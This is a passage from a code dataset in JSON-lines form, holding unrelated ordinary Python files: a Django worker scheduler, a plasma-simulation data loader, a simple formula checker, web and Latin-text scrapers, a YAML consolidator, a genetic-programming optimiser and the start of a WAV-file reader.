j in range(num_tasks):\n slot = tasks[j][1]\n is_valid_choice = workers[i] in slot.workers\n if is_valid_choice:\n x[i, j] = solver.BoolVar('Bool %s, %s' % (workers[i], tasks[j][1]))\n else:\n x[i, j] = solver.IntVar(0, 0, '0: %i, %i' % (i, j))\n t.end()\n\n t = timeit_inline(\"Adding worker workload constraint\")\n t.start()\n for i in range(num_workers):\n indices = worker_indices[workers[i]]\n solver.Add(solver.Sum(x[ind, j] for j in\n range(num_tasks) for ind in indices) <= worker_caps[i])\n t.end()\n\n t = timeit_inline(\"Adding task has correct amount of workers constraint\")\n t.start()\n for j in range(num_tasks):\n c = task_size[j]\n solver.Add(solver.Sum([x[i, j] for i in range(num_workers)]) <= c)\n t.end()\n\n t = timeit_inline(\"Adding one task per day constraint\")\n t.start()\n for day, constrained_tasks in day_constraints.items():\n for i in range(num_workers):\n indices = worker_indices[workers[i]]\n solver.Add(solver.Sum(x[ind, j] for j in constrained_tasks\n for ind in indices) <= MAX_SERVICES_PER_DAY)\n t.end()\n\n t = timeit_inline(\"Adding two task categories per week constraint\")\n t.start()\n for _, constrained_tasks in category_constraints.items():\n for i in range(num_workers):\n indices = worker_indices[workers[i]]\n solver.Add(solver.Sum(x[ind, j] for j in constrained_tasks\n for ind in indices) <= MAX_SERVICE_CATEGORY_PER_WEEK)\n t.end()\n\n t = timeit_inline(\"Adding one prep per week constraint\")\n t.start()\n constrained_tasks = prep_constraints[PREP]\n for i in range(num_workers):\n indices = worker_indices[workers[i]]\n solver.Add(solver.Sum(x[ind, j] for j in constrained_tasks\n for ind in indices) <= MAX_PREPS_PER_WEEK)\n t.end()\n\n t = timeit_inline(\"Minimizing unfilled services, service uniformity\")\n t.start()\n diffs = []\n for j in range(num_tasks):\n worker_count = solver.Sum(x[i, j] for i in range(num_workers))\n diffs.append(task_size[j] - worker_count)\n c = solver.Sum(x[i, j] * cost[i][j]\n for i in range(num_workers)\n for j in range(num_tasks))\n solver.Minimize(1000 * solver.Sum(diffs) + c)\n t.end()\n\n t = timeit_inline(\"Solving MIP\")\n t.start()\n status = solver.Solve()\n t.end()\n print('Total cost = ', self.solver.Objective().Value())\n return status\n\n def save(self, cws):\n assignments = []\n assign_workers = {}\n for service, slot in self.tasks:\n a = Assignment(service=service, service_slot=slot,\n week_schedule=cws, workload=slot.workload)\n assignments.append(a)\n assign_workers[(service, slot)] = []\n Assignment.objects.bulk_create(assignments)\n\n for i, worker in enumerate(self.workers):\n for j, (service, slot) in enumerate(self.tasks):\n if self.x[i, j].solution_value() > 0:\n try:\n assign_workers[(service, slot)].extend(worker)\n except TypeError:\n assign_workers[(service, slot)].append(worker)\n\n assignments = Assignment.objects.filter(week_schedule=cws, pin=False)\\\n .select_related('service', 'service_slot')\n bulk = []\n ThroughModel = Assignment.workers.through\n for a in assignments:\n workers = assign_workers[(a.service, a.service_slot)]\n for worker in workers:\n bulk.append(ThroughModel(assignment_id=a.id, worker_id=worker.id))\n ThroughModel.objects.bulk_create(bulk)\n\n # manually add chair brothers because their service is a special case\n chairs = Service.objects.filter(name__contains='Chairs')\n chair_slots = ServiceSlot.objects.filter(role='*', service__in=chairs)\n for a in Assignment.objects.filter(week_schedule=cws, service__in=chairs,\n pin=False, service_slot__in=chair_slots):\n a.workers.add(*a.service_slot.worker_group.get_workers)\n\n\ndef calculate_worker_value(worker, value, aggregator):\n try:\n return aggregator([value(w) for w in worker])\n except TypeError:\n return value(worker)\n","sub_path":"ap/services/service_scheduler.py","file_name":"service_scheduler.py","file_ext":"py","file_size_in_byte":7674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"227236569","text":"import sdp.plasma.xgc.loader as xgc\nimport sdp.geometry.grid as Grid\nimport numpy as np\nfrom IPython.parallel import Client\nimport time\n\nxgc_path = '/p/gkp/lshi/XGC1_NSTX_Case/FullF_XGC_ti191_output/'\noutput_path = '/p/gkp/lshi/XGC1_NSTX_Case/new_2D_fluctuations/no_dn_cancel/'\n\ngrid2D = Grid.Cartesian2D(DownLeft = (-0.5,1.25),UpRight = (0.5,1.6),NR = 100, NZ = 300)\n\ngrid3D = Grid.Cartesian3D(Xmin = 1.25,Xmax = 1.6,Ymin = -0.5, Ymax = 0.5, Zmin = -0.35, Zmax = 0.35, NX = 100,NY = 300,NZ = 100)\n\ndef load(dimension,tstart,tend,tstep,full_load,fluc_only,eq_only):\n time_steps = np.arange(tstart,tend+1,tstep)\n if dimension == 3:\n xgc_nstx_139047 = xgc.XGC_Loader(xgc_path,grid3D,time_steps,dn_amplifier = 1,n_cross_section = 16, Equilibrium_Only = eq_only,Full_Load = full_load, Fluc_Only = fluc_only)\n elif dimension == 2:\n xgc_nstx_139047 = xgc.XGC_Loader(xgc_path,grid2D,time_steps,dn_amplifier = 1,n_cross_section = 1, Full_Load = full_load, Fluc_Only = fluc_only)\n \n return xgc_nstx_139047\n\ndef cluster_initialize(desired_engine_num,profile = 'default'):\n client_started = False\n while(not client_started):\n try:\n c = Client(profile = profile)\n client_started = True\n print('Client connected!')\n except:\n pass\n \n print(desired_engine_num) #Make sure this number is EXACTLY the same as the engine number you initiated with ipcluster\n \n waiting=0\n while(len(c) < desired_engine_num and waiting<=120):#check if the engines are ready, if the engines are not ready after 2 min, something might be wrong. Exit and raise an exception.\n time.sleep(10)\n waiting += 10\n \n if(len(c) != desired_engine_num):\n raise Exception('usable engine number is not the same as the desired engine number! usable:{0}, desired:{1}.\\nCheck your cluster status and the desired number set in the Driver script.'.format(len(c),desired_engine_num))\n \n print('engine number checked:{0}'.format(desired_engine_num))\n dv = c[:]\n print(('Multiprocess FWR2D run started: using {} processes.'.format(len(c.ids))))\n \n dv.push(dict(xgc_path = xgc_path,\n output_path = output_path))\n \n return dv\n\ndef single_load(t):\n try:\n import sys\n sys.path.append('/p/gkp/lshi/')\n import sdp.plasma.xgc.loader as xgc\n import sdp.geometry.grid as Grid\n grid3D = Grid.Cartesian3D(Xmin = 1.25,Xmax = 1.6,Ymin = -0.5, Ymax = 0.5, Zmin = -0.35, Zmax = 0.35, NX = 100,NY = 300,NZ = 100)\n xgc_nstx = xgc.XGC_Loader(xgc_path,grid3D,t,t+1,2,dn_amplifier = 1,n_cross_section = 16, Equilibrium_Only = False,Full_Load = True, Fluc_Only = False)\n xgc_nstx.cdf_output(output_path,eq_file = 'eqfile{0}.cdf'.format(t))\n except Exception as e:\n return str(e)\n return 0\n \n \n\ndef launch(t_arr, dv):\n print(t_arr)\n param_list = [t for t in t_arr]\n print(param_list)\n ar = dv.map_async(single_load,param_list)\n return ar\n\ndef single_load_2d(t):\n try:\n import sys\n sys.path.append('/p/gkp/lshi/')\n import sdp.plasma.xgc.loader as xgc\n import sdp.geometry.grid as Grid\n grid2D = Grid.Cartesian2D(DownLeft = (-0.5,1.25),UpRight = (0.5,1.6),NR = 256, NZ = 512)\n xgc_nstx = xgc.XGC_Loader(xgc_path,grid2D,t,t+1,2,dn_amplifier = 1,n_cross_section = 32, Equilibrium_Only = False,Full_Load = True, Fluc_Only = False)\n xgc_nstx.cdf_output(output_path,eq_file = 'eqfile{0}.cdf'.format(t))\n except Exception as e:\n return str(e)\n return 0\n \ndef launch_2d(t_arr, dv):\n print(t_arr)\n param_list = [t for t in t_arr]\n print(param_list)\n ar = dv.map_async(single_load_2d,param_list)\n return ar\n \ndef main():\n t_arr = np.arange(100,221,1)\n dv = cluster_initialize(28,'pbs')\n ar = launch_2d(t_arr,dv)\n print('FWR Loaders launched.')\n ar.wait_interactive()\n print(('All FWR Loaders finished. Check {} for the outputs.'.format(output_path)))\n print('Return values from processes are:')\n for i in range(16):\n print('#{0}:{1}'.format(i,ar.get()[i]))\n\nif (__name__=='__main__'):\n \n main()\n\n#freqs = [30,32.5,35,37.5,42.5,45,47.5,50,55,57.5,60,62.5,67.5,70,72.5,75]\n\n","sub_path":"src/python3/sdp/scripts/FWR_Loaders/NSTX_139047_loader.py","file_name":"NSTX_139047_loader.py","file_ext":"py","file_size_in_byte":4281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"642985824","text":"\"\"\"\r\nPractical programming Chapter 9 Exercise 9\r\n\r\n**Instruction**\r\nYou are given two integers, start_i and end_i(start_i < end_i)\r\nComplete P10 function to return a list that contains all integers in the range start_i to end_i(inclusive)\r\nin ascending order\r\n\r\nP10(33, 49)\r\n>>> [33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49]\r\n\r\nP10(-10, -7)\r\n>>> [-10, -9, -8, -7]\r\n\r\nP10(10, 11)\r\n>>> [10, 11]\r\n\"\"\"\r\n\r\n\r\ndef P10(start_i: int, end_i: int) -> list:\r\n a = range(start_i, end_i+1)\r\n L1 = []\r\n for i in a:\r\n L1.append(i)\r\n return list(L1)","sub_path":"HW3/P10.py","file_name":"P10.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"30854723","text":"from django.forms import models\n\nfrom app.models import Level, Problem\n\n\nclass LevelForm(models.ModelForm):\n\n class Meta:\n model = Level\n fields = ['title', 'content']\n widgets = {\n\n }\n\n def __init__(self, *args, **kwargs):\n super(LevelForm, self).__init__(*args, **kwargs)\n self.fields['title'].widget.attrs.update({\n 'class': 'form-control',\n 'placeholder': '제목을 입력해주세요'\n })\n self.fields['content'].widget.attrs.update({\n 'class': 'form-control',\n 'placeholder': '받아쓰기에 대한 설��을 써주세요'\n })\n\n def save(self, commit=True):\n self.instance.made_by_user = True\n return super(LevelForm, self).save()\n","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"585030528","text":"import sys\n# required for argv - list of parameters\n\n\ndef check(string, curr_pos):\n \"\"\"Checks whether the input string is the correct entry for the 'formula' according EBNF syntax\"\"\"\n if not string[curr_pos].isdigit() and (string[curr_pos] not in oper_list or string[curr_pos - 1] in oper_list):\n return False\n elif not curr_pos:\n if string[len(string) - 1] not in oper_list:\n return True\n else:\n return check(string, curr_pos - 1)\n\n\nuser_input = sys.argv[1:]\n# parameter list\noper_list = ['+', '-']\n# list of operation signs\n\nif not user_input:\n # check if there is an input\n print(\"No parameters\")\nelse:\n user_input_str = \"\".join(user_input)\n # converting a list of parameters into string\n if check(user_input_str, len(user_input_str) - 1):\n # if string is correct, printing the answer\n # else, printing the \"False\" message\n print(\"True\", eval(user_input_str), sep=\", \")\n else:\n print(\"False, None\")\n","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"282835632","text":"#!/usr/bin/env python\n# !coding:utf-8\n\n# formal_lib\nimport numpy as np\nfrom numpy import linalg as la\n\n# my_lib\nfrom create_poscar import POSCAR\n\n\nclass PoscarForCEnv(POSCAR):\n\n def __init__(self, poscar_file, cutoff_dist=7):\n POSCAR.__init__(self, poscar_file)\n self._set_coordinate_environ_within_cutoff(cutoff_dist)\n\n def _set_coordinate_environ_within_cutoff(self, cutoff_dist,\n error_va=1.0e-6):\n self._set_probable_Tvecs(cutoff_dist)\n posvecs = self.cartesian_pos_vecs\n elms_array = self.elements_array\n stack_list = (posvecs + tvec for tvec in self.probable_Tvecs)\n total_posvecs = np.vstack(stack_list)\n stack_elm_list = [elms_array] * len(self.probable_Tvecs)\n total_elms = np.hstack(stack_elm_list)\n self.coodinate_env_pos_el_l = []\n self.coodinate_env_norm_el_l = []\n for a_pos in posvecs:\n probable_pvecs = total_posvecs - a_pos\n norm_info = np.apply_along_axis(la.norm,\n 1,\n probable_pvecs.reshape(-1, 3))\n cond1 = norm_info <= cutoff_dist\n cond2 = norm_info >= error_va\n cond = np.logical_and(cond1, cond2)\n matched_norm = norm_info[cond]\n sort_cond = np.argsort(matched_norm)\n matched_pvecs = probable_pvecs[cond]\n matched_elms = total_elms[cond]\n sorted_pvecs = matched_pvecs[sort_cond]\n sorted_elms = matched_elms[sort_cond]\n sorted_norm = matched_norm[sort_cond]\n anspos = (sorted_pvecs, sorted_elms)\n ansnorm = (sorted_norm, sorted_elms)\n self.coodinate_env_pos_el_l.append(anspos)\n self.coodinate_env_norm_el_l.append(ansnorm)\n\n def _set_probable_Tvecs(self, cutoff_dist):\n lat_vecs = self.latvecs\n mx_dist_in_Ucell = self._get_mx_dist_in_Ucell()\n v_component_l = []\n for one_num in range(len(lat_vecs)):\n v_component = self._get_vertical_vec_component(\n lat_vecs,\n one_num)\n v_component_l.append(v_component)\n probable_enlarge_vects = self._get_probable_ratio_vecs(\n cutoff_dist,\n mx_dist_in_Ucell,\n v_component_l)\n probable_Tvecs = np.dot(probable_enlarge_vects, self.latvecs)\n norm_info = np.apply_along_axis(la.norm, 1, probable_Tvecs)\n probable_Tvecs = probable_Tvecs[norm_info <= (mx_dist_in_Ucell + cutoff_dist)]\n self.probable_Tvecs = probable_Tvecs\n\n def _get_mx_dist_in_Ucell(self):\n cartesian_pvecs = self.cartesian_pos_vecs\n dif_pvecs_list = []\n for extract_num in range(len(cartesian_pvecs)):\n if (extract_num + 1) == len(cartesian_pvecs):\n break\n ref_vecs = cartesian_pvecs[extract_num]\n dif_pvecs = cartesian_pvecs[(extract_num + 1):] - ref_vecs\n dif_pvecs_list.append(dif_pvecs)\n dif_pvects_ar = np.vstack(dif_pvecs_list)\n norm_inf = np.apply_along_axis(la.norm, 1, dif_pvects_ar)\n max_dist = np.max(norm_inf)\n return max_dist\n\n def _get_vertical_vec_component(self, lvects, target_num):\n target_vec = lvects[target_num]\n cond = np.ones(len(lvects))\n cond[target_num] = 0\n cond = cond.astype(np.bool)\n ref_vecs = lvects[cond]\n vertical_vec = reduce(np.cross, ref_vecs)\n normal_vec = vertical_vec / la.norm(vertical_vec)\n vertical_vec_component = np.dot(target_vec, normal_vec)\n abs_vcomponent = np.abs(vertical_vec_component)\n return abs_vcomponent\n\n def _get_probable_ratio_vecs(self, cutoff_dist, max_dist,\n vertical_component_list):\n # for example(1,2,3) act lattice vectors\n v_compo_ar = np.array(vertical_component_list)\n ref_dist = max_dist + cutoff_dist\n enlarge_ratio = np.ceil(ref_dist / v_compo_ar)\n enlarge_ratio = enlarge_ratio.astype(np.int64)\n probable_enlarge_rat_l = []\n for a_num in range(-enlarge_ratio[0],\n enlarge_ratio[0] + 1):\n for b_num in range(-enlarge_ratio[1],\n enlarge_ratio[1] + 1):\n for c_num in range(-enlarge_ratio[2],\n enlarge_ratio[2] + 1):\n prob_rvec = np.array([a_num, b_num, c_num])\n probable_enlarge_rat_l.append(prob_rvec)\n prob_rvecs = np.vstack(probable_enlarge_rat_l)\n return prob_rvecs\n","sub_path":"add_2019/mylocal/poscar/local_env.py","file_name":"local_env.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"565773318","text":"from bs4 import BeautifulSoup\r\nfrom urllib.request import urlopen\r\nimport argparse\r\n\r\n\r\ndef get_content(argurl):\r\n # Where BeautifulSoup takes in the url data and html code\r\n url = argurl\r\n page = urlopen(url)\r\n html = page.read().decode(\"utf-8\", errors='ignore')\r\n global soup\r\n soup = BeautifulSoup(html, \"html.parser\")\r\n return soup.text\r\n\r\n\r\ndef enter_arg():\r\n # This is where the user will type in the site when they enter in the terminal\r\n\r\n parser = argparse.ArgumentParser(description='Enter the website you would like to scrape')\r\n parser.add_argument(\"--site\", default=0, type=str, help='Type in the site: ')\r\n args = parser.parse_args()\r\n return args\r\n\r\n\r\ndef print_content():\r\n # Creates a text file from the site\r\n my_file = open(\"../this_is_file.txt\", \"w+\")\r\n my_file.write(soup.get_text())\r\n\r\n print(soup.get_text())\r\n\r\n\r\ndef main():\r\n args = enter_arg()\r\n get_content(args.site)\r\n print_content()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"main/main_task.py","file_name":"main_task.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"246128759","text":"#!/usr/bin/env python3\n\n\"\"\"\nConsolidate several YAML files into one\n\nUsage:\n consolidate_yaml.py [options]\n\nArguments:\n \n Path to a YAML file specifying which the locations of YAML files to\n consolidate.\n\n \n Key of the file in the YAML file list to use as a template for well\n labels in the new consolidated YAML. By default, the first file will\n be used.\n\nOptions:\n -o --output \n If an output path is specified, the resulting YAML is written to that\n path. Dollar signs ($) in the output path are replaced by the base\n name of the given experiment, minus the '.yml' suffix. By default,\n *I'll figure this out later*\n\n -d --include-discards\n Consolidate all experiments regardless of the discard status\n\n\"\"\"\nclass ConsolidateYAML():\n def __init__(self):\n self.consolidated_yaml = {'plates': {'plates': {}}}\n self.yaml_list = []\n self.template_yaml = None\n self.constituent_yamls = None\n\n\n def initialize_yaml_dictionary(self):\n \"\"\"\n Takes the template YAML file and uses its labels to initialize a\n nested dictionary of plates and labels.\n :return:\n \"\"\"\n for document in self.template_yaml:\n if 'plates' not in document.keys():\n self.consolidated_yaml[document['label']] = {'label': document['label'],\n 'channel': document['channel'],\n 'wells': {'apo': [],\n 'holo': []\n },\n 'discard': False\n }\n\n\n def populate_yaml(self):\n \"\"\"\n Append wells to apo and holo for all experiments where discard != True\n :return:\n \"\"\"\n # For each constituent yaml\n for input_yaml in self.yaml_list:\n\n print(\"Currently parsing: {}\".format(input_yaml))\n\n # For each \"document\" in the constituent yaml\n for document in input_yaml:\n\n # Add plates to the consolidated yaml plate dictionary\n if 'plates' in document.keys():\n for plate in document['plates']:\n self.consolidated_yaml['plates']['plates'][plate] = document['plates'][plate]\n\n # Add wells to the relevant label if discard != True\n # (not all experiments have discard entries)\n else:\n if 'discard' not in document.keys():\n self._add_wells(document)\n elif 'discard' in document.keys() and document['discard'] == True:\n if args['--include-discards'] == True:\n self._add_wells(document)\n else:\n self._add_wells(document)\n\n def _add_wells(self, document):\n for well in document['wells']['apo']:\n if well not in self.consolidated_yaml[document['label']]['wells']['apo']:\n self.consolidated_yaml[document['label']]['wells']['apo'].append(well)\n for well in document['wells']['holo']:\n if well not in self.consolidated_yaml[document['label']]['wells']['holo']:\n self.consolidated_yaml[document['label']]['wells']['holo'].append(well)\n\n def dump_yaml(self):\n output_YAML = open('Consolidated_YAML.yaml', 'w')\n\n yaml.dump(werk.consolidated_yaml['plates'], output_YAML)\n\n yaml_keys = sorted([key for key in werk.consolidated_yaml])\n\n for document in yaml_keys:\n if document != 'plates':\n output_YAML.write('---\\n')\n yaml.dump(werk.consolidated_yaml[document], output_YAML)\n output_YAML.close()\n\n\nif __name__ == '__main__':\n import docopt\n import yaml\n import pprint\n import collections\n\n args = docopt.docopt(__doc__)\n werk = ConsolidateYAML()\n\n werk.constituent_yamls = yaml.load(open(args[''], 'r'), Loader=yaml.Loader)\n werk.template_yaml = yaml.load_all(open(werk.constituent_yamls[int(args[''])], 'r'), Loader=yaml.Loader)\n\n for file in werk.constituent_yamls:\n werk.yaml_list.append(yaml.load_all(open(werk.constituent_yamls[file], 'r'), Loader=yaml.Loader))\n\n werk.initialize_yaml_dictionary()\n werk.populate_yaml()\n werk.dump_yaml()\n\n pprint.pprint(werk.consolidated_yaml['plates'])\n\n\n\n\n\n\n","sub_path":"flow_cytometry/consolidate_yaml.py","file_name":"consolidate_yaml.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"25851968","text":"#\n# @lc app=leetcode.cn id=377 lang=python3\n# 给你一个由 不同 整数组成的数组 nums ,和一个目标整数 target 。请你从 nums 中找出并返回总和为 target 的元素组合的个数。\n#输入:nums = [1,2,3], target = 4\n# 输出:7\n# 解释:\n# 所有可能的组合为:\n# (1, 1, 1, 1)\n# (1, 1, 2)\n# (1, 2, 1)\n# (1, 3)\n# (2, 1, 1)\n# (2, 2)\n# (3, 1)\n# 请注意,顺序不同的序列被视作不同的组合。\n# #\n#\n# [377] 组合总和 Ⅳ\n#\n# @lc code=start\nclass Solution:\n def combinationSum4(self, nums: List[int], target: int) -> int:\n #背包问题\n dp = [0] * (target + 1)\n dp[0] = 1\n\n for i in range(1, target+1):\n for j in nums:\n if i >= j:\n dp[i] += dp[i - j]\n\n return dp[-1]\n# @lc code=end","sub_path":"377.组合总和-ⅳ.py","file_name":"377.组合总和-ⅳ.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"187919790","text":"#Finding Maximumn and Minimum in an Array(Standard Algorithms)\r\n#Written by JCowie\r\n#23/08/2019\r\n#---------------------------------------------------\r\n#imports\r\nimport random\r\n\r\n\r\n#Function to find minimum\r\ndef findmax(thelist):\r\n last=len(thelist)\r\n max=thelist[0]\r\n pos=0\r\n\r\n for i in range(1,last):\r\n if thelist[i] > max:\r\n max=thelist[i]\r\n pos=i\r\n return max, pos\r\n\r\n\r\n\r\n#Function to find maximum\r\ndef findmin(thelist):\r\n last=len(thelist)\r\n max=thelist[0]\r\n posl=0\r\n\r\n for i in range(1,last):\r\n if thelist[i] < max:\r\n max=thelist[i]\r\n posl=i\r\n return max, posl\r\n\r\n\r\n\r\n#Top Level Program\r\nthelist=[]\r\nfor index in range(1,16):\r\n randomnum=random.randint(0,500)\r\n thelist.append(randomnum)\r\n\r\nmaxvalue, position=findmax(thelist)\r\nminvalue, posl=findmin(thelist)\r\n\r\n\r\nprint(\"Your Array is:\")\r\nprint(thelist)\r\nprint(\"\")\r\nprint(\"The Biggest number found in the Array is: \", maxvalue)\r\nprint(\"The Location of the above number is: \", position)\r\nprint(\"\")\r\nprint(\"The Smallest number found in the Array is: \", minvalue)\r\nprint(\"The Location of the above number is: \", posl)\r\n\r\n","sub_path":"Programs/Python/findmaxANDmin.py","file_name":"findmaxANDmin.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"72406472","text":"# -*- encoding: utf-8 -*-\n# !/usr/bin/env python\n'''\n@File : Python3_Web_Server.py\n@Time : 2021/11/27 16:40:55\n@Author : Stone_Hou\n@Version : 1.0\n@Contact : xiangxing985529@163.com\n@License : (C)Copyright 2010-2021, Stone_Hou\n@Desc : None\n@Refer : https://github.com/xiangxing98\n'''\n\nimport http.server\nimport socketserver\n \nPORT = 3000\n \nHandler = http.server.SimpleHTTPRequestHandler\n \nwith socketserver.TCPServer((\"\", PORT), Handler) as httpd:\n print(\"serving at port\", PORT)\n httpd.serve_forever()\n\n# Python 3.7版本新增的功能,可以在命令行使用-d参数,指定Web服务器的根目录位置\n# python -m http.server 8888 -d ./html\n# 带 -d 和目录参数,创建一个简单的Web Server\n# 官方的警告\n# 不推荐在生产环境中使用 http.server。它只实现了基本的安全检查功能\n\n\n\n'''\n# Reference:\nhttps://www.cnblogs.com/xingchuxin/p/10433444.html\n\n# Running Code:\ncd F:\\Github\\Python\\HeadFirstPython\\HeadFirstPython\\01-Jupyter_Notebook\\Python3_Tutorial\\Python3 Advanced Tutorial\\Python3_Web_Application\\Python3_Web_Server.py\npython Python3_Web_Server.py\n\n# Output:\n\n'''","sub_path":"01-Jupyter_Notebook/Python3_Tutorial/Python3 Advanced Tutorial/Python3_Web_Application/Python3_Web_Server_2.py","file_name":"Python3_Web_Server_2.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"576132016","text":"import sqlite3\nimport urllib\nimport re\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup, NavigableString\n\nimport nltk\n\nnltk.download('punkt')\n\nfrom nltk import sent_tokenize\n\ndef parseRes2(soup, title, url, cur, author, date, collectiontitle):\n chapter = 0\n sen = \"\"\n num = 1\n [e.extract() for e in soup.find_all('br')]\n [e.extract() for e in soup.find_all('table')]\n [e.extract() for e in soup.find_all('span')]\n [e.extract() for e in soup.find_all('a')]\n for x in soup.find_all():\n if len(x.text) == 0:\n x.extract()\n getp = soup.find_all('p')\n #print(getp)\n i = 0\n for p in getp:\n # make sure it's not a paragraph without the main text\n try:\n if p['class'][0].lower() in ['border', 'pagehead', 'shortborder', 'smallboarder', 'margin',\n 'internal_navigation']: # these are not part of the main t\n continue\n except:\n pass\n chapter += 1\n sen = p.text\n sen = sen.strip()\n if sen != '':\n num = 0\n for s in sent_tokenize(sen):\n sentn = s.strip()\n num += 1\n cur.execute(\"INSERT INTO texts VALUES (?,?,?,?,?,?,?, ?, ?, ?, ?)\",\n (None, collectiontitle, title, 'Latin', author, date, chapter,\n num, sentn, url, 'prose'))\n\n\ndef main():\n # get proper URLs\n siteURL = 'http://www.thelatinlibrary.com'\n biggsURL = 'http://www.thelatinlibrary.com/thesauro.html'\n biggsOPEN = urllib.request.urlopen(biggsURL)\n biggsSOUP = BeautifulSoup(biggsOPEN, 'html5lib')\n textsURL = []\n\n title = 'de Thesauro et Fure Astuto'\n\n author = 'Johannes de Alta Silva'\n author = author.strip()\n collectiontitle = 'JOHANNES DE ALTA SILVA DE THESAURO ET FURE ASTUTO'\n collectiontitle = collectiontitle.strip()\n date = '-'\n\n with sqlite3.connect('texts.db') as db:\n c = db.cursor()\n c.execute(\n 'CREATE TABLE IF NOT EXISTS texts (id INTEGER PRIMARY KEY, title TEXT, book TEXT,'\n ' language TEXT, author TEXT, date TEXT, chapter TEXT, verse TEXT, passage TEXT,'\n ' link TEXT, documentType TEXT)')\n c.execute(\"DELETE FROM texts WHERE author = 'Johannes de Alta Silva'\")\n parseRes2(biggsSOUP, title, biggsURL, c, author, date, collectiontitle)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"phyllo/extractors/thesauroDB.py","file_name":"thesauroDB.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"639143276","text":"import sys\nimport math\nN=0\n\ndef checkIfOnSet(n):\n ret = 0\n for i in range(N):\n if ((1< Any:\n best_ind = min(self.population, key=lambda ind: ind.fitness)\n equivalents = self.simpler_equivalents_of_best_ind(best_ind)\n\n if equivalents:\n best_candidate_id = min(equivalents, key=equivalents.get)\n best_ind = self.population[best_candidate_id]\n return best_ind\n\n def simpler_equivalents_of_best_ind(self, best_ind: Any) -> dict:\n sort_inds = np.argsort([ind.fitness for ind in self.population])[1:]\n simpler_equivalents = {}\n for i in sort_inds:\n is_fitness_equals_to_best = best_ind.fitness == self.population[i].fitness\n has_less_num_of_models_than_best = len(self.population[i].nodes) < len(best_ind.nodes)\n if is_fitness_equals_to_best and has_less_num_of_models_than_best:\n simpler_equivalents[i] = len(self.population[i].nodes)\n return simpler_equivalents\n\n def reproduce(self, selected_individual_first, selected_individual_second) -> Tuple[Any]:\n new_inds = crossover(self.parameters.crossover_types,\n selected_individual_first,\n selected_individual_second,\n crossover_prob=self.requirements.crossover_prob,\n max_depth=self.requirements.max_depth)\n\n new_inds = tuple([mutation(types=self.parameters.mutation_types,\n chain_class=self.chain_class,\n chain=new_ind,\n requirements=self.requirements,\n secondary_node_func=self.secondary_node_func,\n primary_node_func=self.primary_node_func,\n mutation_prob=self.requirements.mutation_prob) for new_ind in new_inds])\n return new_inds\n\n def _make_population(self, pop_size: int) -> List[Any]:\n model_chains = []\n while len(model_chains) < pop_size:\n chain = self.chain_generation_function()\n if constraint_function(chain):\n model_chains.append(chain)\n return model_chains\n\n def _add_to_history(self, individuals: List[Any]):\n [self.history.append(ind) for ind in individuals]\n\n def _best_single_models(self, objective_function: Callable, num_best: int = 7):\n single_models_inds = []\n for model in self.requirements.primary:\n single_models_ind = self.chain_class([self.primary_node_func(model)])\n single_models_ind.fitness = objective_function(single_models_ind)\n single_models_inds.append(single_models_ind)\n best_inds = sorted(single_models_inds, key=lambda ind: ind.fitness)\n return best_inds[0], [i.nodes[0].model.model_type for i in best_inds][:num_best]\n","sub_path":"core/composer/optimisers/gp_optimiser.py","file_name":"gp_optimiser.py","file_ext":"py","file_size_in_byte":9216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"263613620","text":"import os\nimport sys\nimport argparse\nimport hashlib\nimport zlib\n\n\nclass Buffer:\n def __init__(self, filename, mode, size):\n self.buffer = b''\n self.mode = mode\n self.size = size\n self.file = open(filename, mode)\n\n def __enter__(self):\n return self\n\n def read(self, bytes_count):\n if self.buffer == b'':\n self.buffer = self.file.read(self.size)\n if not self.buffer:\n return None\n if bytes_count > len(self.buffer):\n self.buffer += self.file.read(self.size - len(self.buffer))\n r = self.buffer[:bytes_count]\n self.buffer = self.buffer[bytes_count:]\n return r\n\n def write(self, data):\n self.buffer += data\n if len(self.buffer) > self.size:\n self.file.write(self.buffer)\n self.buffer = b''\n\n def __exit__(self, exc_type, exc_value, traceback):\n if self.buffer != b'' and self.mode == 'ab':\n self.file.write(self.buffer)\n self.file.close()\n\n\nclass WavExceptions(Exception):\n error_message = None\n\n def __init__(self, *args, **kwargs):\n super().__init__(self.error_message, *args, **kwargs)\n\n\nclass NotWaveError(WavExceptions):\n error_message = \"NotWaveError: the format of the file is not WAVE \" \\\n \"or the file might be damaged\"\n\n\nclass NoDataChunckError(WavExceptions):\n error_message = \"NoDataChunkError: data chunk was not found\"\n\n\nclass HeaderDamageError(WavExceptions):\n error_message = \"HeaderDamageError: size of the header\" \\\n \"does not equal 16 bytes\"\n\n\nclass WavHeader:\n def __init__(self, header):\n if 